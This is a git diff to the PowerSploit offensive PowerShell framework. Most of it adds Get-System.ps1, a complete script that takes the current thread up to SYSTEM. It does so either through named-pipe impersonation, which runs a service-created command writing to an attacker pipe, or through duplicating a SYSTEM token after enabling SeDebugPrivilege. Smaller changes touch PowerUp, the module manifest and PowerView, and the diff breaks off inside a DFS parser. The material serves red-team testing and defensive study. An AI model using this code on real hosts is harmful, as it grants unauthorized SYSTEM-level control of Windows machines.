aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--Privesc/Get-System.ps1590
-rw-r--r--Privesc/PowerUp.ps11
-rw-r--r--Privesc/Privesc.psd17
-rw-r--r--Recon/PowerView.ps1608
-rw-r--r--Tests/Privesc.tests.ps142
5 files changed, 1133 insertions, 115 deletions
diff --git a/Privesc/Get-System.ps1 b/Privesc/Get-System.ps1
new file mode 100644
index 0000000..32d4399
--- /dev/null
+++ b/Privesc/Get-System.ps1
@@ -0,0 +1,590 @@
+function Get-System {
+<#
+ .SYNOPSIS
+
+ GetSystem functionality inspired by Meterpreter's getsystem.
+ 'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create
+ a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege.
+ NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure
+ token duplication works correctly.
+
+ PowerSploit Function: Get-System
+ Author: @harmj0y, @mattifestation
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+
+ .PARAMETER Technique
+
+ The technique to use, 'NamedPipe' or 'Token'.
+
+ .PARAMETER ServiceName
+
+ The name of the service used with named pipe impersonation, defaults to 'TestSVC'.
+
+ .PARAMETER PipeName
+
+ The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'.
+
+ .PARAMETER RevToSelf
+
+ Reverts the current thread privileges.
+
+ .PARAMETER WhoAmI
+
+ Switch. Display the credentials for the current PowerShell thread.
+
+ .EXAMPLE
+
+ PS> Get-System
+
+ Uses named impersonate to elevate the current thread token to SYSTEM.
+
+ .EXAMPLE
+
+ PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret'
+
+ Uses named impersonate to elevate the current thread token to SYSTEM
+ with a custom service and pipe name.
+
+ .EXAMPLE
+
+ PS> Get-System -Technique Token
+
+ Uses token duplication to elevate the current thread token to SYSTEM.
+
+ .EXAMPLE
+
+ PS> Get-System -WhoAmI
+
+ Displays the credentials for the current thread.
+
+ .EXAMPLE
+
+ PS> Get-System -RevToSelf
+
+ Reverts the current thread privileges.
+
+ .LINK
+
+ https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c
+ https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
+ http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
+ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
+#>
+ [CmdletBinding(DefaultParameterSetName = 'NamedPipe')]
+ param(
+ [Parameter(ParameterSetName = "NamedPipe")]
+ [Parameter(ParameterSetName = "Token")]
+ [String]
+ [ValidateSet("NamedPipe", "Token")]
+ $Technique = 'NamedPipe',
+
+ [Parameter(ParameterSetName = "NamedPipe")]
+ [String]
+ $ServiceName = 'TestSVC',
+
+ [Parameter(ParameterSetName = "NamedPipe")]
+ [String]
+ $PipeName = 'TestSVC',
+
+ [Parameter(ParameterSetName = "RevToSelf")]
+ [Switch]
+ $RevToSelf,
+
+ [Parameter(ParameterSetName = "WhoAmI")]
+ [Switch]
+ $WhoAmI
+ )
+
+ $ErrorActionPreference = "Stop"
+
+ # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
+ function Local:Get-DelegateType
+ {
+ Param
+ (
+ [OutputType([Type])]
+
+ [Parameter( Position = 0)]
+ [Type[]]
+ $Parameters = (New-Object Type[](0)),
+
+ [Parameter( Position = 1 )]
+ [Type]
+ $ReturnType = [Void]
+ )
+
+ $Domain = [AppDomain]::CurrentDomain
+ $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
+ $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
+ $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
+ $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
+ $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
+ $MethodBuilder.SetImplementationFlags('Runtime, Managed')
+
+ Write-Output $TypeBuilder.CreateType()
+ }
+
+ # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
+ function Local:Get-ProcAddress
+ {
+ Param
+ (
+ [OutputType([IntPtr])]
+
+ [Parameter( Position = 0, Mandatory = $True )]
+ [String]
+ $Module,
+
+ [Parameter( Position = 1, Mandatory = $True )]
+ [String]
+ $Procedure
+ )
+
+ # Get a reference to System.dll in the GAC
+ $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
+ Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
+ $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
+ # Get a reference to the GetModuleHandle and GetProcAddress methods
+ $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
+ $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
+ # Get a handle to the module specified
+ $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
+ $tmpPtr = New-Object IntPtr
+ $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
+
+ # Return the address of the function
+ Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
+ }
+
+ # performs named pipe impersonation to elevate to SYSTEM without needing
+ # SeDebugPrivilege
+ function Local:Get-SystemNamedPipe {
+ param(
+ [String]
+ $ServiceName = "TestSVC",
+
+ [String]
+ $PipeName = "TestSVC"
+ )
+
+ $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`""
+
+ # create the named pipe used for impersonation and set appropriate permissions
+ $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
+ $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
+ $PipeSecurity.AddAccessRule($AccessRule)
+ $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity)
+
+ $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle()
+
+ # Declare/setup all the needed API function
+ # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
+ $ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient
+ $ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int])
+ $ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate)
+
+ $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle
+ $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int])
+ $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate)
+
+ $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA
+ $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr])
+ $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate)
+
+ $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA
+ $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr])
+ $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate)
+
+ $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
+ $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr])
+ $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate)
+
+ $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA
+ $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr])
+ $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate)
+
+ $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService
+ $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr])
+ $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate)
+
+ $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError
+ $GetLastErrorDelegate = Get-DelegateType @() ([Int])
+ $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate)
+
+ # Step 1 - OpenSCManager()
+ # 0xF003F = SC_MANAGER_ALL_ACCESS
+ # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
+ Write-Verbose "Opening service manager"
+ $ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F)
+ Write-Verbose "Service manager handle: $ManagerHandle"
+
+ # if we get a non-zero handle back, everything was successful
+ if ($ManagerHandle -and ($ManagerHandle -ne 0)) {
+
+ # Step 2 - CreateService()
+ # 0xF003F = SC_MANAGER_ALL_ACCESS
+ # 0x10 = SERVICE_WIN32_OWN_PROCESS
+ # 0x3 = SERVICE_DEMAND_START
+ # 0x1 = SERVICE_ERROR_NORMAL
+ Write-Verbose "Creating new service: '$ServiceName'"
+ try {
+ $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null)
+ $err = $GetLastError.Invoke()
+ }
+ catch {
+ Write-Warning "Error creating service : $_"
+ $ServiceHandle = 0
+ }
+ Write-Verbose "CreateServiceA Handle: $ServiceHandle"
+
+ if ($ServiceHandle -and ($ServiceHandle -ne 0)) {
+ $Success = $True
+ Write-Verbose "Service successfully created"
+
+ # Step 3 - CloseServiceHandle() for the service handle
+ Write-Verbose "Closing service handle"
+ $Null = $CloseServiceHandle.Invoke($ServiceHandle)
+
+ # Step 4 - OpenService()
+ Write-Verbose "Opening the service '$ServiceName'"
+ $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F)
+ Write-Verbose "OpenServiceA handle: $ServiceHandle"
+
+ if ($ServiceHandle -and ($ServiceHandle -ne 0)){
+
+ # Step 5 - StartService()
+ Write-Verbose "Starting the service"
+ $val = $StartServiceA.Invoke($ServiceHandle, $null, $null)
+ $err = $GetLastError.Invoke()
+
+ # if we successfully started the service, let it breathe and then delete it
+ if ($val -ne 0){
+ Write-Verbose "Service successfully started"
+ # breathe for a second
+ Start-Sleep -s 1
+ }
+ else{
+ if ($err -eq 1053){
+ Write-Verbose "Command didn't respond to start"
+ }
+ else{
+ Write-Warning "StartService failed, LastError: $err"
+ }
+ # breathe for a second
+ Start-Sleep -s 1
+ }
+
+ # start cleanup
+ # Step 6 - DeleteService()
+ Write-Verbose "Deleting the service '$ServiceName'"
+ $val = $DeleteService.invoke($ServiceHandle)
+ $err = $GetLastError.Invoke()
+
+ if ($val -eq 0){
+ Write-Warning "DeleteService failed, LastError: $err"
+ }
+ else{
+ Write-Verbose "Service successfully deleted"
+ }
+
+ # Step 7 - CloseServiceHandle() for the service handle
+ Write-Verbose "Closing the service handle"
+ $val = $CloseServiceHandle.Invoke($ServiceHandle)
+ Write-Verbose "Service handle closed off"
+ }
+ else {
+ Write-Warning "[!] OpenServiceA failed, LastError: $err"
+ }
+ }
+
+ else {
+ Write-Warning "[!] CreateService failed, LastError: $err"
+ }
+
+ # final cleanup - close off the manager handle
+ Write-Verbose "Closing the manager handle"
+ $Null = $CloseServiceHandle.Invoke($ManagerHandle)
+ }
+ else {
+ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
+ Write-Warning "[!] OpenSCManager failed, LastError: $err"
+ }
+
+ if($Success) {
+ Write-Verbose "Waiting for pipe connection"
+ $Pipe.WaitForConnection()
+
+ $Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd()
+
+ $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)
+ Write-Verbose "ImpersonateNamedPipeClient: $Out"
+ }
+
+ # clocse off the named pipe
+ $Pipe.Dispose()
+ }
+
+ # performs token duplication to elevate to SYSTEM
+ # needs SeDebugPrivilege
+ # written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
+ Function Local:Get-SystemToken {
+ [CmdletBinding()] param()
+
+ $DynAssembly = New-Object Reflection.AssemblyName('AdjPriv')
+ $AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False)
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+
+ $TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType])
+ $TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null
+ $TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null
+ $TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null
+ $TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType()
+
+ $LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType])
+ $LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
+ $LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
+ $LuidStruct = $LuidTypeBuilder.CreateType()
+
+ $Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType])
+ $Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null
+ $Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
+ $Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType()
+
+ $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
+ $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray
+ $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
+
+ $TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType])
+ $TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
+ $PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public')
+ $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1))
+ $PrivilegesField.SetCustomAttribute($AttribBuilder)
+ $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType()
+
+ $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder(
+ ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
+ 'advapi32.dll',
+ @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
+ @([Bool] $True)
+ )
+
+ $AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder(
+ ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
+ 'kernel32.dll',
+ @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
+ @([Bool] $True)
+ )
+
+ $Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType])
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'OpenProcess',
+ 'kernel32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [IntPtr],
+ @([UInt32], [Bool], [UInt32]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder2)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'CloseHandle',
+ 'kernel32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder2)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'DuplicateToken',
+ 'advapi32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([IntPtr], [Int32], [IntPtr].MakeByRefType()),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'SetThreadToken',
+ 'advapi32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([IntPtr], [IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'OpenProcessToken',
+ 'advapi32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([IntPtr], [UInt32], [IntPtr].MakeByRefType()),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'LookupPrivilegeValue',
+ 'advapi32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([String], [String], [IntPtr].MakeByRefType()),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder)
+
+ $Win32TypeBuilder.DefinePInvokeMethod(
+ 'AdjustTokenPrivileges',
+ 'advapi32.dll',
+ [Reflection.MethodAttributes] 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ 'Auto').SetCustomAttribute($AttribBuilder)
+
+ $Win32Methods = $Win32TypeBuilder.CreateType()
+
+ $Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'}
+ $GetCurrentProcess = $Win32Native.GetMethod(
+ 'GetCurrentProcess',
+ [Reflection.BindingFlags] 'NonPublic, Static'
+ )
+
+ $SE_PRIVILEGE_ENABLED = 0x00000002
+ $STANDARD_RIGHTS_REQUIRED = 0x000F0000
+ $STANDARD_RIGHTS_READ = 0x00020000
+ $TOKEN_ASSIGN_PRIMARY = 0x00000001
+ $TOKEN_DUPLICATE = 0x00000002
+ $TOKEN_IMPERSONATE = 0x00000004
+ $TOKEN_QUERY = 0x00000008
+ $TOKEN_QUERY_SOURCE = 0x00000010
+ $TOKEN_ADJUST_PRIVILEGES = 0x00000020
+ $TOKEN_ADJUST_GROUPS = 0x00000040
+ $TOKEN_ADJUST_DEFAULT = 0x00000080
+ $TOKEN_ADJUST_SESSIONID = 0x00000100
+ $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY
+ $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor
+ $TOKEN_ASSIGN_PRIMARY -bor
+ $TOKEN_DUPLICATE -bor
+ $TOKEN_IMPERSONATE -bor
+ $TOKEN_QUERY -bor
+ $TOKEN_QUERY_SOURCE -bor
+ $TOKEN_ADJUST_PRIVILEGES -bor
+ $TOKEN_ADJUST_GROUPS -bor
+ $TOKEN_ADJUST_DEFAULT -bor
+ $TOKEN_ADJUST_SESSIONID
+
+ [long]$Luid = 0
+
+ $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct)
+ $tokPriv1Luid.Count = 1
+ $tokPriv1Luid.Luid = $Luid
+ $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED
+
+ $RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid)
+
+ $htoken = [IntPtr]::Zero
+ $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken)
+
+ $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct)
+ $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
+
+ if(-not($RetVal)) {
+ Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop
+ }
+
+ $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
+
+ $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object {
+ try {
+ $OwnerInfo = $_.GetOwner()
+ if ($OwnerInfo.Domain -and $OwnerInfo.User) {
+ $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper()
+
+ if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
+ $Process = Get-Process -Id $_.ProcessId
+
+ $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id)
+ if ($Handle) {
+ $Handle
+ }
+ }
+ }
+ }
+ catch {}
+ } | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1
+
+ if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) {
+ Write-Error 'Unable to obtain a handle to a system process.'
+ }
+ else {
+ [IntPtr]$SystemToken = [IntPtr]::Zero
+ $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
+
+ Write-Verbose "OpenProcessToken result: $RetVal"
+ Write-Verbose "OpenProcessToken result: $LastError"
+
+ [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero
+ $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
+
+ Write-Verbose "DuplicateToken result: $LastError"
+
+ $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ if(-not($RetVal)) {
+ Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop
+ }
+
+ Write-Verbose "SetThreadToken result: $LastError"
+ $null = $Win32Methods::CloseHandle($Handle)
+ }
+ }
+
+ if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') {
+ Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop
+ }
+
+ if($PSBoundParameters['WhoAmI']) {
+ Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)"
+ return
+ }
+
+ elseif($PSBoundParameters['RevToSelf']) {
+ $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
+ $RevertToSelfDelegate = Get-DelegateType @() ([Bool])
+ $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)
+
+ $RetVal = $RevertToSelf.Invoke()
+ if($RetVal) {
+ Write-Output "RevertToSelf successful."
+ }
+ else {
+ Write-Warning "RevertToSelf failed."
+ }
+ Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
+ }
+
+ else {
+ if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
+ Write-Error "Script must be run as administrator" -ErrorAction Stop
+ }
+
+ if($Technique -eq 'NamedPipe') {
+ # if we're using named pipe impersonation with a service
+ Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName
+ }
+ else {
+ # otherwise use token duplication
+ Get-SystemToken
+ }
+ Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
+ }
+}
diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1
index 3f6be9f..cb2bda5 100644
--- a/Privesc/PowerUp.ps1
+++ b/Privesc/PowerUp.ps1
@@ -1292,6 +1292,7 @@ function Find-PathHijack {
if (-not $Path.EndsWith("\")){
$Path = $Path + "\"
}
+ $Path = [System.Environment]::ExpandEnvironmentVariables($Path)
# reference - http://stackoverflow.com/questions/9735449/how-to-verify-whether-the-share-has-write-access
$TestPath = Join-Path $Path ([IO.Path]::GetRandomFileName())
diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1
index 9777f2a..d3d9a97 100644
--- a/Privesc/Privesc.psd1
+++ b/Privesc/Privesc.psd1
@@ -22,7 +22,7 @@ Description = 'PowerSploit Privesc Module'
PowerShellVersion = '2.0'
# Functions to export from this module
-FunctionsToExport = @(
+FunctionsToExport = @(
'Find-DLLHijack',
'Find-PathHijack',
'Get-ApplicationHost',
@@ -43,11 +43,12 @@ FunctionsToExport = @(
'Write-HijackDll',
'Write-ServiceBinary',
'Write-UserAddMSI',
- 'Get-SiteListPassword'
+ 'Get-SiteListPassword',
+ 'Get-System'
)
# List of all files packaged with this module
-FileList = 'Privesc.psm1', 'PowerUp.ps1', 'README.md'
+FileList = 'Privesc.psm1', 'Get-SiteListPassword.ps1', 'Get-System.ps1', 'PowerUp.ps1', 'README.md'
}
diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1
index d95443f..c6ce1d2 100644
--- a/Recon/PowerView.ps1
+++ b/Recon/PowerView.ps1
@@ -749,7 +749,7 @@ filter Export-PowerViewCSV {
if (Test-Path -Path $OutFile) {
# hack to skip the first line of output if the file already exists
- $ObjectCSV | Foreach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
+ $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
}
else {
$ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile
@@ -2857,7 +2857,7 @@ function Get-ObjectAcl {
}
try {
- $Searcher.FindAll() | Where-Object {$_} | Foreach-Object {
+ $Searcher.FindAll() | Where-Object {$_} | ForEach-Object {
$Object = [adsi]($_.path)
if($Object.distinguishedname) {
@@ -2888,7 +2888,7 @@ function Get-ObjectAcl {
else {
$_
}
- } | Foreach-Object {
+ } | ForEach-Object {
if($GUIDs) {
# if we're resolving GUIDs, map them them to the resolved hash table
$AclProperties = @{}
@@ -3080,7 +3080,7 @@ function Add-ObjectAcl {
}
try {
- $Searcher.FindAll() | Where-Object {$_} | Foreach-Object {
+ $Searcher.FindAll() | Where-Object {$_} | ForEach-Object {
# adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects
$TargetDN = $_.Properties.distinguishedname
@@ -4659,7 +4659,7 @@ function Get-NetGroup {
# cause the cache to calculate the token groups for the user
$UserDirectoryEntry.RefreshCache("tokenGroups")
- $UserDirectoryEntry.TokenGroups | Foreach-Object {
+ $UserDirectoryEntry.TokenGroups | ForEach-Object {
# convert the token group sid
$GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value
@@ -5085,7 +5085,7 @@ function Get-NetFileServer {
$TargetUsers -Match $_.samAccountName
}
else { $True }
- } | Foreach-Object {
+ } | ForEach-Object {
# split out every potential file server path
if($_.homedirectory) {
SplitPath($_.homedirectory)
@@ -5138,13 +5138,13 @@ function Get-DFSshare {
.EXAMPLE
PS C:\> Get-DFSshare
-
+
Returns all distributed file system shares for the current domain.
.EXAMPLE
PS C:\> Get-DFSshare -Domain test
-
+
Returns all distributed file system shares for the 'test' domain.
#>
@@ -5171,6 +5171,185 @@ function Get-DFSshare {
$Credential
)
+ function Parse-Pkt {
+ [CmdletBinding()]
+ param(
+ [byte[]]
+ $Pkt
+ )
+
+ $bin = $Pkt
+ $blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
+ $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
+ #Write-Host "Element Count: " $blob_element_count
+ $offset = 8
+ #https://msdn.microsoft.com/en-us/library/cc227147.aspx
+ $object_list = @()
+ for($i=1; $i -le $blob_element_count; $i++){
+ $blob_name_size_start = $offset
+ $blob_name_size_end = $offset + 1
